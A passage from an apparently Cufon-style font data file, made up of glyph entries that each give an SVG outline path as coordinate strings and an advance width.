41,-113,-103v4,-96,66,-155,163,-160xm133,-9v68,-7,91,-86,91,-162v0,-38,-14,-69,-49,-69v-71,0,-88,86,-91,162v-1,38,14,73,49,69","w":295},{"d":"188,-178v14,-1,26,10,26,26v0,32,-38,39,-64,27v-7,5,-14,15,-21,24v9,35,10,54,27,76v8,10,30,3,41,0r-4,16v-19,8,-34,13,-54,14v-39,2,-47,-30,-54,-62v-18,24,-28,59,-62,61v-14,1,-26,-10,-26,-26v0,-33,39,-42,64,-27v6,-5,15,-15,20,-24v-12,-33,-11,-97,-66,-74r3,-15v17,-8,34,-13,54,-14v39,-3,47,29,53,59v19,-22,28,-59,63,-61","w":210},{"d":"178,-256v64,-3,116,40,114,102v-2,82,-48,131,-113,153v-6,43,26,60,66,47r-2,14v-49,19,-142,25,-130,-54v-56,-5,-98,-43,-98,-102v0,-96,66,-155,163,-160xm133,-9v68,-7,91,-86,91,-162v0,-38,-14,-69,-49,-69v-71,0,-88,86,-91,162v-1,38,14,73,49,69","w":295},{"d":"203,-328v29,-7,33,28,8,38r-75,29r-6,-7v33,-25,33,-51,73,-60xm178,-256v64,-3,117,40,114,102v-4,97,-64,159,-164,161v-63,2,-115,-41,-113,-103v4,-96,66,-155,163,-160xm133,-9v68,-7,91,-86,91,-162v0,-38,-14,-69,-49,-69v-71,0,-88,86,-91,162v-1,38,14,73,49,69","w":295},{"d":"218,-178v-34,0,-35,-39,-22,-61v-59,-15,-57,61,-68,109r70,0r-5,20r-67,0v-12,35,-25,45,-55,61r0,2r147,0r-11,47r-205,0r7,-33v36,-11,53,-35,57,-77r-35,0r4,-20r33,0v1,-75,44,-126,119,-127v31,-1,61,18,61,46v0,19,-11,33,-30,33","w":248},{"d":"89,-127r-30,0r0,-141r30,0r0,141xm89,75r-30,0r0,-143r30,0r0,143","w":139},{"d":"11,-62v-2,-81,80,-142,154,-103r54,-11r3,3r-31,134v-2,23,28,19,42,13r-3,15v-30,18,-83,23,-96,-11v-19,10,-31,27,-61,27v-41,0,-62,-26,-62,-67xm74,-61v-4,40,39,52,58,23r23,-95v-1,-16,-8,-30,-26,-28v-41,5,-50,54,-55,100xm176,-266v16,0,28,15,28,29v0,14,-13,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm89,-266v15,0,28,15,28,29v0,14,-14,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29","w":237},{"d":"97,49v0,-9,-12,-9,-22,-10r7,-34v-42,-4,-72,-31,-70,-75v2,-66,44,-106,114,-108v36,-1,61,12,64,42v4,39,-57,48,-61,15v1,-14,6,-26,13,-36v-39,-29,-69,33,-67,79v2,32,11,57,40,57v31,0,42,-13,58,-33r13,10v-17,27,-48,49,-89,50r-2,11v41,-7,51,42,15,53v-18,6,-38,7,-64,8r3,-14v21,-1,48,4,48,-15","w":192},{"d":"15,-97v-3,-119,120,-190,233,-143v7,-5,14,-11,28,-9r-19,91r-16,0v-3,-46,-23,-82,-66,-82v-69,0,-88,78,-91,149v-2,43,23,74,63,74v43,0,65,-26,88,-55r13,9v-25,38,-58,69,-120,70r-2,10v40,-7,51,41,16,53v-18,6,-38,7,-65,8r4,-14v20,-1,46,4,47,-15v0,-10,-12,-9,-22,-10r7,-33v-60,-7,-97,-41,-98,-103","w":257},{"d":"222,53r-255,0r5,-21r255,0"},{"d":"83,-60v-5,16,-3,39,17,36v21,-2,24,-6,40,-22r29,-127r56,-3r2,3r-29,134v-4,23,28,19,41,12r-3,16v-33,21,-88,19,-99,-17v-16,26,-63,46,-90,20v-1,39,9,92,-35,86v-54,-8,-2,-73,5,-104r34,-147r56,-3r2,3","w":243},{"d":"125,-25r-4,16v-41,27,-108,15,-92,-50r19,-77v3,-24,-26,-19,-41,-13r4,-15v39,-26,115,-16,91,49v-14,38,-41,115,23,90xm80,-254v8,-19,48,-26,54,-3v-4,25,-21,27,-43,39r-42,24r-7,-6","w":131},{"d":"251,-328v16,0,27,14,27,29v0,15,-12,29,-27,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm156,-328v15,0,28,14,28,29v0,15,-14,29,-28,29v-15,0,-27,-14,-27,-29v0,-15,11,-29,27,-29xm254,-176v11,-34,0,-61,-30,-61r3,-12r108,0r-3,12v-19,3,-39,6,-46,25v-24,63,-23,157,-75,195v-59,43,-192,30,-170,-67r31,-134v-2,-15,-14,-15,-32,-19r3,-12r134,0r-3,12v-18,3,-36,4,-40,22r-31,139v-16,65,66,72,102,39v33,-30,33,-91,49,-139","w":300},{"d":"296,-303r-5,21r-255,0r5,-21r255,0"},{"d":"121,-140v46,4,78,-20,78,-61v0,-30,-25,-34,-56,-33xm127,-15v33,0,58,-31,58,-67v0,-34,-28,-45,-67,-42r-22,93v1,10,18,16,31,16xm75,-209v7,-20,-10,-25,-30,-28r3,-12r132,0v61,-4,107,22,81,72v-12,24,-41,35,-73,41r-1,4v34,5,67,15,67,54v0,103,-158,73,-264,78r3,-13v19,-1,38,-5,42,-21","w":273},{"d":"225,-328v16,0,27,14,27,29v0,15,-12,29,-27,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm130,-328v15,0,28,14,28,29v0,15,-14,29,-28,29v-15,0,-27,-14,-27,-29v0,-15,11,-29,27,-29xm157,-100r-15,-91r-57,91r72,0xm44,-27v2,12,18,12,33,14r-3,13r-105,0r3,-13v25,-2,41,-13,52,-31r135,-209r35,0r41,226v5,8,18,13,30,14r-3,13r-133,0r3,-13v20,-3,41,0,37,-22r-9,-49r-86,0v-9,15,-26,38,-30,57","w":272},{"d":"239,-11v-33,21,-89,19,-99,-17v-22,19,-38,33,-74,33v-71,0,-26,-91,-19,-139v3,-23,-27,-20,-41,-12r4,-16v39,-26,114,-16,92,49v-8,23,-17,45,-17,71v0,35,47,9,58,-4r29,-127r56,-3r2,3r-29,134v-4,23,28,19,41,12xm97,-234v-19,-8,-13,-39,8,-38v40,4,41,47,64,72r-8,6","w":246},{"d":"264,-266r-6,5r-55,-36r-67,36r-6,-5v21,-20,39,-42,62,-60v47,-12,50,37,72,60xm254,-176v11,-34,0,-61,-30,-61r3,-12r108,0r-3,12v-19,3,-39,6,-46,25v-24,63,-23,157,-75,195v-59,43,-192,30,-170,-67r31,-134v-2,-15,-14,-15,-32,-19r3,-12r134,0r-3,12v-18,3,-36,4,-40,22r-31,139v-16,65,66,72,102,39v33,-30,33,-91,49,-139","w":300},{"d":"11,-62v-2,-81,80,-142,154,-103r54,-11r3,3r-31,134v-2,23,28,19,42,13r-3,15v-30,18,-83,23,-96,-11v-19,10,-31,27,-61,27v-41,0,-62,-26,-62,-67xm74,-61v-4,40,39,52,58,23r23,-95v-1,-16,-8,-30,-26,-28v-41,5,-50,54,-55,100xm128,-254v8,-19,48,-26,54,-3v-4,25,-21,27,-43,39r-42,24r-7,-6","w":237},{"d":"125,-21v32,0,45,-14,61,-34r12,9v-17,25,-41,44,-78,49r-11,50r-17,0r10,-49v-89,7,-104,-100,-48,-148v24,-21,52,-33,89,-35r10,-45r17,0r-10,45v25,3,49,10,49,33v0,18,-15,31,-35,30v-11,0,-23,-10,-22,-24xm140,-165v-54,4,-82,112,-31,141","w":217},{"d":"13,-164v34,-19,106,-25,97,31v-17,101,-22,211,-126,211v-29,0,-50,-6,-50,-34v0,-14,11,-26,26,-26v27,0,34,28,43,46v27,-54,39,-132,49,-200v3,-22,-28,-19,-43,-13xm96,-272v17,-1,34,14,34,32v0,18,-17,33,-34,32v-18,0,-35,-14,-35,-32v0,-18,17,-32,35,-32","w":131},{"d":"131,-179v50,-2,87,26,86,74v-2,71,-50,109,-122,111v-48,1,-84,-28,-83,-75v1,-71,50,-108,119,-110xm101,-8v46,-8,51,-66,54,-117v0,-25,-7,-38,-27,-40v-45,6,-53,65,-54,116v0,25,7,39,27,41xm132,-254v8,-19,48,-26,54,-3v-4,25,-21,27,-43,39r-42,24r-7,-6","w":228},{"d":"164,-323v32,5,78,38,91,-6r13,4v-12,23,-28,51,-60,53v-31,2,-52,-34,-77,-12r-13,18r-12,-5v12,-21,27,-50,58,-52xm251,-176v11,-35,1,-61,-30,-61r3,-12r107,0r-3,12v-37,1,-48,23,-56,59r-42,179r-29,0r-108,-199r-33,157v-4,23,21,23,35,28r-3,13r-108,0r3,-13v37,-2,48,-22,56,-59r30,-131v-1,-21,-15,-31,-35,-34r3,-12r92,0r94,175","w":298},{"d":"224,-87r-83,0r0,83r-29,0r0,-83r-83,0r0,-28r83,0r0,-83r29,0r0,83r83,0r0,28"},{"d":"181,-165v-6,19,-6,42,22,34v4,-1,8,-2,10,-3r-4,14v-27,14,-69,16,-82,-9v-27,35,-99,28,-99,-33v0,-63,69,-118,127,-83v15,-1,34,-11,47,-7xm81,-162v-7,35,32,41,46,18v5,-28,17,-53,17,-82v-1,-10,-8,-15,-19,-15v-28,1,-44,45,-44,79","w":198},{"d":"158,-266v16,0,28,15,28,29v0,14,-13,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm71,-266v15,0,28,15,28,29v0,14,-14,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29","w":180},{"d":"136,-201v61,-1,123,-1,121,55v-3,75,-72,92,-154,89v-9,23,-10,47,25,44r-3,13r-135,0r3,-13v19,-1,38,-5,42,-21r42,-184v-2,-14,-15,-16,-32,-19r3,-12r135,0r-3,12v-26,1,-44,10,-44,36xm106,-74v55,4,81,-23,82,-73v1,-32,-22,-39,-56,-38","w":254},{"d":"56,-60v47,1,39,62,12,89v-16,16,-34,30,-55,39r-5,-12v25,-13,46,-26,54,-56v-23,1,-41,-3,-42,-24v0,-18,17,-37,36,-36","w":118},{"d":"155,-86v36,48,-17,98,-79,92v-37,-3,-74,-5,-74,-37v0,-14,13,-26,28,-26v27,1,35,29,41,50v40,6,55,-47,16,-57v-31,-8,-62,-21,-62,-57v0,-43,40,-57,88,-57v33,0,63,5,66,34v0,13,-11,24,-26,24v-27,0,-32,-27,-39,-46v-29,-2,-47,45,-12,54v18,5,44,14,53,26","w":186},{"d":"178,-178v24,0,35,19,35,43v0,76,-42,138,-117,141v-40,2,-69,-20,-69,-57v0,-29,18,-52,20,-83v1,-23,-28,-20,-41,-12r4,-16v30,-18,96,-24,95,22v-1,32,-19,58,-19,87v0,20,10,33,31,33v35,0,63,-33,58,-72v-3,-24,-33,-25,-31,-55v1,-20,13,-31,34,-31","w":220},{"d":"9,44v-3,-32,45,-32,57,-9v10,10,11,39,32,23v23,-17,39,-51,42,-86v-30,44,-138,45,-111,-32r18,-74v3,-24,-28,-19,-41,-12r4,-16v39,-26,114,-16,92,49v-8,22,-14,44,-17,69v4,34,46,11,59,-3r27,-126r56,-3r2,3v-29,106,-18,251,-152,251v-35,-1,-65,-4,-68,-34xm183,-266v16,0,28,15,28,29v0,14,-13,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm96,-266v15,0,28,15,28,29v0,14,-14,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29","w":240},{"d":"78,-69v-11,-17,-12,-48,0,-64r-40,-41r19,-19r41,41v16,-12,47,-13,64,-1r41,-40r20,19r-41,41v11,15,12,49,0,64r41,42r-19,19r-41,-41v-18,12,-47,12,-65,0r-42,41r-18,-20xm130,-64v19,0,36,-17,36,-36v0,-19,-17,-37,-36,-37v-19,0,-36,18,-36,37v0,19,17,36,36,36"},{"d":"11,-62v-2,-81,80,-142,154,-103r54,-11r3,3r-31,134v-2,23,28,19,42,13r-3,15v-30,18,-83,23,-96,-11v-19,10,-31,27,-61,27v-41,0,-62,-26,-62,-67xm74,-61v-4,40,39,52,58,23r23,-95v-1,-16,-8,-30,-26,-28v-41,5,-50,54,-55,100xm95,-234v-19,-8,-13,-39,8,-38v40,4,41,47,64,72r-8,6","w":237},{"d":"186,-44v-17,27,-49,49,-88,50v-52,0,-86,-26,-86,-76v0,-66,44,-106,114,-108v36,-1,61,12,64,42v4,39,-57,48,-61,15v1,-14,6,-26,13,-36v-39,-29,-69,33,-67,79v2,32,11,57,40,57v31,0,42,-13,58,-33","w":192},{"d":"239,-11v-33,21,-89,19,-99,-17v-22,19,-38,33,-74,33v-71,0,-26,-91,-19,-139v3,-23,-27,-20,-41,-12r4,-16v39,-26,114,-16,92,49v-8,23,-17,45,-17,71v0,35,47,9,58,-4r29,-127r56,-3r2,3r-29,134v-4,23,28,19,41,12xm183,-266v16,0,28,15,28,29v0,14,-13,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm96,-266v15,0,28,15,28,29v0,14,-14,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29","w":246},{"d":"125,-25r-4,16v-41,27,-108,15,-92,-50r19,-77v3,-24,-26,-19,-41,-13r4,-15v39,-26,115,-16,91,49v-14,38,-41,115,23,90xm131,-199r-9,5r-43,-45r-60,45r-9,-5v19,-23,35,-51,57,-71v13,-4,34,-3,38,8","w":131},{"d":"157,-100r-15,-91r-57,91r72,0xm226,-295v2,22,-15,37,-32,43r41,225v5,8,18,13,30,14r-3,13r-133,0r3,-13v20,-3,41,0,37,-22r-9,-49r-86,0v-9,15,-26,38,-30,57v2,12,18,12,33,14r-3,13r-105,0r3,-13v25,-2,41,-13,52,-31r132,-204v-18,-3,-31,-13,-31,-33v0,-50,97,-68,101,-14xm171,-259v29,0,41,-55,9,-57v-18,-1,-29,16,-28,35v0,14,5,22,19,22","w":272},{"d":"188,-44v-19,27,-51,50,-92,50v-51,0,-84,-25,-84,-75v0,-68,46,-106,116,-109v36,0,65,10,65,40v0,54,-68,58,-119,66v1,28,9,51,39,51v32,-1,47,-12,63,-33xm74,-86v32,-5,62,-10,62,-47v0,-35,-32,-42,-46,-9v-7,16,-14,34,-16,56","w":200},{"d":"9,44v-3,-32,45,-32,57,-9v10,10,11,39,32,23v23,-17,39,-51,42,-86v-30,44,-138,45,-111,-32r18,-74v3,-24,-28,-19,-41,-12r4,-16v39,-26,114,-16,92,49v-8,22,-14,44,-17,69v4,34,46,11,59,-3r27,-126r56,-3r2,3v-29,106,-18,251,-152,251v-35,-1,-65,-4,-68,-34xm138,-254v8,-19,48,-26,54,-3v-4,25,-21,27,-43,39r-42,24r-7,-6","w":240},{"d":"124,-126v-8,19,5,28,26,27r-3,13r-111,0r3,-13v16,-1,35,-2,38,-16r23,-102r-35,0v3,-6,0,-16,11,-15v28,3,42,-12,56,-23r23,0","w":198},{"d":"71,-98v31,13,61,-5,61,-43v0,-22,-20,-23,-43,-22v3,-7,1,-19,15,-17v38,7,56,-61,12,-62v-7,0,-13,2,-19,3v9,16,9,44,-16,44v-14,0,-22,-10,-22,-23v3,-46,130,-57,130,-2v0,32,-27,36,-51,47v22,3,42,9,43,34v4,66,-136,84,-150,21v0,-14,9,-23,22,-24v24,-2,27,27,18,44","w":198},{"d":"226,-9r-29,0r0,-83r-164,0r0,-29r193,0r0,112"},{"d":"305,-251r-191,251r-28,0r191,-251r28,0xm365,-66r-6,26r-28,0r-10,44r-40,0r10,-44r-88,0r6,-25r115,-105r37,0r-24,104r28,0xm314,-140r-83,74r66,0xm113,-126v-8,19,5,28,26,27r-3,13r-111,0r3,-13v16,-1,35,-2,38,-16r23,-102r-35,0v3,-6,0,-16,11,-15v28,3,42,-12,56,-23r23,0","w":385},{"d":"99,-40v-7,22,10,25,32,27r-3,13r-139,0r3,-13v19,-1,39,-3,43,-21r42,-184v-2,-14,-16,-16,-33,-19r3,-12r138,0r-3,12v-18,4,-39,4,-43,23xm166,-328v16,0,28,15,28,29v0,14,-13,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm79,-328v15,0,28,15,28,29v0,14,-14,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29","w":162},{"d":"228,0r-195,0r0,-29r83,0r0,-69r-83,0r0,-29r83,0r0,-83r29,0r0,83r83,0r0,29r-83,0r0,69r83,0r0,29"},{"d":"109,-24r-11,7v-23,-25,-59,-36,-71,-71v1,-33,32,-42,53,-55r51,-32r7,8r-68,73xm186,-24r-11,7v-23,-25,-59,-36,-71,-71v1,-33,32,-42,53,-55r51,-32r8,8r-69,73","w":219},{"d":"33,-181v-9,-77,137,-112,140,-20v10,78,-137,111,-140,20xm95,-138v24,0,34,-43,33,-76v0,-17,-3,-30,-17,-30v-26,0,-33,45,-33,78v0,15,3,28,17,28xm238,-125v34,0,59,21,59,55v0,42,-38,76,-80,76v-34,0,-60,-21,-60,-55v0,-41,39,-76,81,-76xm220,-6v24,0,33,-45,33,-77v0,-17,-3,-30,-17,-30v-26,0,-35,44,-34,78v0,16,4,29,18,29xm307,-251r-256,251r-27,0r255,-251r28,0","w":316},{"d":"90,-257v35,0,60,26,60,59v1,33,-26,58,-60,58v-34,0,-60,-25,-60,-58v0,-34,26,-59,60,-59xm90,-156v19,-1,29,-19,29,-41v0,-25,-8,-44,-29,-44v-20,0,-29,21,-29,42v0,22,8,43,29,43","w":151},{"d":"327,-251r-191,251r-28,0r192,-251r27,0xm373,-66r-6,26r-27,0r-10,44r-40,0r10,-44r-88,0r6,-25r114,-105r38,0r-24,104r27,0xm323,-140r-84,74r67,0xm66,-98v31,13,61,-5,61,-43v0,-22,-20,-23,-43,-22v3,-7,1,-19,15,-17v38,7,56,-61,12,-62v-7,0,-13,2,-19,3v9,16,9,44,-16,44v-14,0,-22,-10,-22,-23v3,-46,130,-57,130,-2v0,32,-27,36,-51,47v22,3,42,9,43,34v4,66,-136,84,-150,21v0,-14,9,-23,22,-24v24,-2,27,27,18,44","w":385},{"d":"166,-205v10,-1,17,5,16,15v-4,30,-42,4,-63,5v12,16,57,48,19,60v-22,-5,-18,-35,-28,-54v-11,16,-7,51,-29,54v-37,-14,8,-42,19,-60v0,0,-58,25,-63,-5v4,-29,40,-6,63,-6v-12,-18,-55,-46,-19,-60v23,3,17,37,29,54v11,-19,6,-50,28,-54v38,13,-9,45,-19,60","w":173},{"d":"152,-328v29,-7,33,28,8,38r-75,29r-6,-7v33,-25,33,-51,73,-60xm99,-40v-7,22,10,25,32,27r-3,13r-139,0r3,-13v19,-1,39,-3,43,-21r42,-184v-2,-14,-16,-16,-33,-19r3,-12r138,0r-3,12v-18,4,-39,4,-43,23","w":162},{"d":"62,-60v47,2,37,63,11,89v-16,16,-34,30,-55,39r-5,-12v25,-13,46,-27,55,-56v-24,1,-42,-3,-43,-24v0,-18,18,-37,37,-36xm84,-175v18,0,34,17,34,35v0,17,-17,34,-34,34v-18,0,-35,-16,-35,-34v0,-18,17,-35,35,-35","w":132},{"d":"230,-266r-6,5r-55,-36r-67,36r-6,-5v21,-20,39,-42,62,-60v47,-12,50,37,72,60xm75,-209v7,-20,-10,-25,-30,-28r3,-12r219,0r-14,63r-14,0v-7,-29,-19,-55,-61,-48r-35,0r-22,97v46,6,68,-13,79,-43r14,0r-24,104v-7,0,-15,3,-14,-7v5,-37,-22,-42,-59,-39r-19,90v1,19,13,14,35,17v63,7,75,-35,99,-63r13,0r-22,78r-233,0r3,-13v19,-2,38,-3,42,-21","w":259},{"d":"118,-259v32,4,78,40,90,-6r14,4v-12,23,-28,51,-60,53v-32,3,-52,-34,-77,-11r-13,18r-12,-6v12,-22,28,-48,58,-52xm206,-65v-11,30,3,56,37,38r-4,16v-42,27,-114,14,-92,-50v8,-23,13,-45,16,-70v-4,-34,-46,-11,-59,4r-29,127r-58,0r29,-134v3,-24,-26,-19,-41,-13r4,-15v29,-16,92,-25,96,17v23,-14,40,-33,76,-33v62,0,40,73,25,113","w":248},{"d":"197,-315v12,-25,70,-7,46,16v-20,20,-57,23,-88,38r-6,-7xm254,-176v11,-34,0,-61,-30,-61r3,-12r108,0r-3,12v-19,3,-39,6,-46,25v-24,63,-23,157,-75,195v-59,43,-192,30,-170,-67r31,-134v-2,-15,-14,-15,-32,-19r3,-12r134,0r-3,12v-18,3,-36,4,-40,22r-31,139v-16,65,66,72,102,39v33,-30,33,-91,49,-139","w":300},{"d":"130,-202v15,0,29,14,29,29v0,15,-14,30,-29,30v-15,1,-28,-14,-28,-30v0,-15,14,-29,28,-29xm228,-87r-195,0r0,-28r195,0r0,28xm130,-59v15,0,29,15,29,30v0,15,-14,29,-29,29v-15,0,-28,-14,-28,-29v0,-16,13,-31,28,-30"},{"d":"161,-323v32,5,78,38,90,-6r14,4v-13,22,-28,51,-60,53v-31,2,-52,-34,-77,-12r-13,18r-13,-5v13,-20,27,-50,59,-52xm157,-100r-15,-91r-57,91r72,0xm44,-27v2,12,18,12,33,14r-3,13r-105,0r3,-13v25,-2,41,-13,52,-31r135,-209r35,0r41,226v5,8,18,13,30,14r-3,13r-133,0r3,-13v20,-3,41,0,37,-22r-9,-49r-86,0v-9,15,-26,38,-30,57","w":272},{"d":"63,-224v6,-23,-10,-31,-30,-31r4,-13r92,-4r2,3r-52,231v-2,25,30,18,45,13r-4,16v-42,27,-110,17,-95,-50","w":127},{"d":"48,-249v115,0,248,-17,248,98v0,101,-74,151,-176,151r-130,0r3,-13v19,-2,38,-3,42,-21r20,-87r-34,0r4,-18r34,0r18,-79v-2,-14,-15,-16,-32,-19xm129,-15v71,-5,98,-70,98,-145v0,-52,-26,-80,-84,-74r-22,95r54,0r-4,18r-54,0r-19,86v1,16,12,21,31,20","w":300},{"d":"177,-70r-84,53r-8,-7r69,-74r-39,-69r11,-8v25,26,109,69,51,105xm100,-70r-85,53r-7,-7r69,-74r-39,-69r11,-8v25,26,109,69,51,105","w":219},{"d":"127,-179v25,-24,12,-80,-32,-60v9,16,9,48,-17,45v-14,2,-22,-11,-22,-23v4,-52,135,-54,135,3v0,67,-80,66,-122,92r111,0r-9,36r-144,0r6,-27v23,-20,78,-39,94,-66","w":198},{"d":"124,-235v-52,-5,-71,29,-89,57r-14,0r17,-71r242,0r-17,71r-13,0v-5,-34,-16,-64,-63,-57r-47,204v0,16,20,16,34,18r-3,13r-139,0r3,-13v20,0,39,-4,43,-23","w":246},{"d":"242,-209v7,-20,-9,-25,-29,-28r3,-12r135,0r-3,12v-18,3,-38,4,-42,23r-42,184v1,14,14,16,32,17r-3,13r-135,0r3,-13v19,-1,37,-4,41,-21r20,-87r-105,0r-20,91v1,16,12,14,31,17r-3,13r-135,0r3,-13v19,-2,38,-3,42,-21r42,-184v-2,-14,-15,-16,-32,-19r3,-12r135,0r-3,12v-18,2,-37,5,-41,23r-18,75r105,0","w":328},{"d":"193,-174v9,-15,70,-60,12,-63r3,-12r91,0r-3,12v-46,9,-62,50,-91,77v-14,20,-36,34,-46,58r76,0r-5,20r-75,0v-3,17,-9,32,-11,51v-1,17,19,16,33,18r-3,13r-137,0r3,-13v20,0,40,-4,44,-22r10,-47r-75,0r4,-20r76,0v-9,-41,-28,-104,-53,-129v-5,-3,-14,-5,-20,-6r3,-12r134,0v5,24,-44,2,-37,30v7,27,21,60,30,88","w":263},{"d":"210,-328v29,-7,33,28,8,38r-75,29r-6,-7v33,-25,33,-51,73,-60xm157,-100r-15,-91r-57,91r72,0xm44,-27v2,12,18,12,33,14r-3,13r-105,0r3,-13v25,-2,41,-13,52,-31r135,-209r35,0r41,226v5,8,18,13,30,14r-3,13r-133,0r3,-13v20,-3,41,0,37,-22r-9,-49r-86,0v-9,15,-26,38,-30,57","w":272},{"d":"117,-290v-26,-7,-18,-44,10,-38v35,7,40,41,66,60r-7,7xm75,-209v7,-20,-10,-25,-30,-28r3,-12r219,0r-14,63r-14,0v-7,-29,-19,-55,-61,-48r-35,0r-22,97v46,6,68,-13,79,-43r14,0r-24,104v-7,0,-15,3,-14,-7v5,-37,-22,-42,-59,-39r-19,90v1,19,13,14,35,17v63,7,75,-35,99,-63r13,0r-22,78r-233,0r3,-13v19,-2,38,-3,42,-21","w":259},{"d":"128,-256v44,0,70,20,71,59v1,52,-46,90,-101,90v-39,0,-70,-22,-69,-60v0,-51,44,-89,99,-89xm103,-120v38,0,42,-51,44,-92v1,-19,-5,-31,-22,-31v-38,0,-42,52,-44,92v-1,20,5,31,22,31","w":198},{"d":"99,-254v17,0,34,15,34,32v0,16,-17,33,-34,33v-17,0,-34,-16,-34,-33v0,-18,17,-33,34,-32xm92,-56v15,55,-61,85,-71,36v12,-56,43,-96,60,-148r13,0","w":135},{"d":"84,-175v18,0,34,17,34,35v0,17,-17,34,-34,34v-18,0,-35,-16,-35,-34v0,-18,17,-35,35,-35xm59,-64v17,0,35,17,35,35v0,18,-17,34,-35,34v-18,0,-35,-17,-35,-34v0,-17,17,-35,35,-35","w":132},{"d":"136,-15v55,5,73,-36,95,-65r12,0r-23,80r-230,0r3,-13v19,-1,38,-5,42,-21r42,-184v-2,-14,-15,-16,-32,-19r3,-12r137,0r-3,12v-18,4,-39,3,-43,23r-41,183v1,19,14,14,38,16","w":246},{"d":"74,-37v0,28,33,38,51,19v21,-21,30,-58,31,-99xm155,-137v-8,-47,-59,-25,-69,9v-6,19,-12,47,-13,71xm217,-105v2,88,-96,134,-173,97r-30,29r-12,-10r30,-29v-12,-12,-20,-29,-20,-51v-3,-88,95,-132,172,-97r29,-27r11,11r-27,26v13,13,19,28,20,51","w":228},{"d":"104,-155v37,-38,118,-27,118,44v0,81,-77,142,-151,103v-4,19,-10,36,-12,56v-1,16,20,16,33,18r-3,12r-126,0r3,-12v16,-3,31,-4,35,-21r63,-279v1,-18,-15,-19,-30,-21r3,-13r92,-4r2,3xm105,-10v39,-9,50,-54,54,-102v4,-42,-40,-50,-59,-23r-22,97v0,16,10,28,27,28","w":233},{"d":"131,-179v50,-2,87,26,86,74v-2,71,-50,109,-122,111v-48,1,-84,-28,-83,-75v1,-71,50,-108,119,-110xm101,-8v46,-8,51,-66,54,-117v0,-25,-7,-38,-27,-40v-45,6,-53,65,-54,116v0,25,7,39,27,41xm102,-234v-19,-8,-13,-39,8,-38v40,4,41,47,64,72r-8,6","w":228},{"d":"118,-76r-107,0r9,-39r107,0","w":136},{"d":"185,-239v24,23,38,52,38,94v0,87,-40,148,-125,151v-49,2,-87,-28,-86,-76v3,-66,43,-106,108,-109v21,-1,38,8,45,22v7,-18,0,-52,-8,-66r-43,24r-8,-14r42,-23v-7,-9,-15,-17,-24,-23r12,-13v11,5,26,14,36,22r40,-22r8,14xm102,-8v44,-8,55,-64,55,-113v0,-24,-6,-42,-29,-42v-44,0,-53,61,-54,109v0,26,6,45,28,46","w":229},{"d":"242,-266r-6,5r-54,-36r-68,36r-6,-5v21,-20,39,-42,62,-60v47,-12,50,37,72,60xm178,-256v64,-3,117,40,114,102v-4,97,-64,159,-164,161v-63,2,-115,-41,-113,-103v4,-96,66,-155,163,-160xm133,-9v68,-7,91,-86,91,-162v0,-38,-14,-69,-49,-69v-71,0,-88,86,-91,162v-1,38,14,73,49,69","w":295},{"d":"210,-328v16,0,27,14,27,29v0,15,-12,29,-27,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm115,-328v15,0,28,14,28,29v0,15,-14,29,-28,29v-15,0,-27,-14,-27,-29v0,-15,11,-29,27,-29xm75,-209v7,-20,-10,-25,-30,-28r3,-12r219,0r-14,63r-14,0v-7,-29,-19,-55,-61,-48r-35,0r-22,97v46,6,68,-13,79,-43r14,0r-24,104v-7,0,-15,3,-14,-7v5,-37,-22,-42,-59,-39r-19,90v1,19,13,14,35,17v63,7,75,-35,99,-63r13,0r-22,78r-233,0r3,-13v19,-2,38,-3,42,-21","w":259},{"d":"48,-249v115,0,248,-17,248,98v0,101,-74,151,-176,151r-130,0r3,-13v19,-2,38,-3,42,-21r42,-184v-2,-14,-15,-16,-32,-19xm129,-15v71,-5,98,-70,98,-145v0,-52,-26,-80,-84,-74r-45,199v1,16,12,21,31,20","w":300},{"d":"89,75r-30,0r0,-343r30,0r0,343","w":139},{"d":"137,-195v50,0,88,32,87,82v-1,106,-90,167,-193,179r-1,-17v65,-8,101,-46,120,-100v-41,40,-130,26,-130,-43v0,-57,57,-101,117,-101xm86,-94v0,46,47,54,69,23v6,-28,19,-109,-20,-109v-31,0,-49,47,-49,86","w":233},{"d":"104,-180v-29,55,-61,200,17,222r-4,16v-91,-6,-122,-113,-86,-201v26,-64,82,-114,157,-126r-4,16v-36,8,-63,39,-80,73","w":160},{"d":"133,-229v-11,53,-41,92,-59,148r-14,0r3,-129v-7,-43,65,-62,70,-19xm56,-60v18,0,33,16,33,33v0,18,-16,32,-33,32v-17,1,-34,-14,-34,-32v0,-17,16,-33,34,-33","w":135},{"d":"181,-266r-6,5r-54,-36r-68,36r-5,-5v21,-20,38,-43,62,-60v46,-12,49,37,71,60xm99,-40v-7,22,10,25,32,27r-3,13r-139,0r3,-13v19,-1,39,-3,43,-21r42,-184v-2,-14,-16,-16,-33,-19r3,-12r138,0r-3,12v-18,4,-39,4,-43,23","w":162},{"d":"62,-60v47,2,37,63,11,89v-16,16,-34,30,-55,39r-5,-12v25,-13,46,-27,55,-56v-24,1,-42,-3,-43,-24v0,-18,18,-37,37,-36xm84,-175v18,0,34,17,34,35v0,17,-17,34,-34,34v-18,0,-35,-16,-35,-34v0,-18,17,-35,35,-35","w":132},{"d":"178,-256v64,-3,117,40,114,102v-4,97,-64,159,-164,161v-63,2,-115,-41,-113,-103v4,-96,66,-155,163,-160xm133,-9v68,-7,91,-86,91,-162v0,-38,-14,-69,-49,-69v-71,0,-88,86,-91,162v-1,38,14,73,49,69","w":295},{"d":"15,-95v-3,-124,123,-192,239,-145v7,-5,14,-11,28,-9r-19,91r-16,0v-5,-46,-24,-82,-68,-82v-72,0,-88,80,-95,154v-6,63,52,98,98,60v4,-20,10,-37,12,-58v-2,-14,-18,-15,-35,-18r3,-13r135,0r-3,13v-19,1,-35,5,-39,22r-13,58v-24,14,-77,29,-115,29v-67,-2,-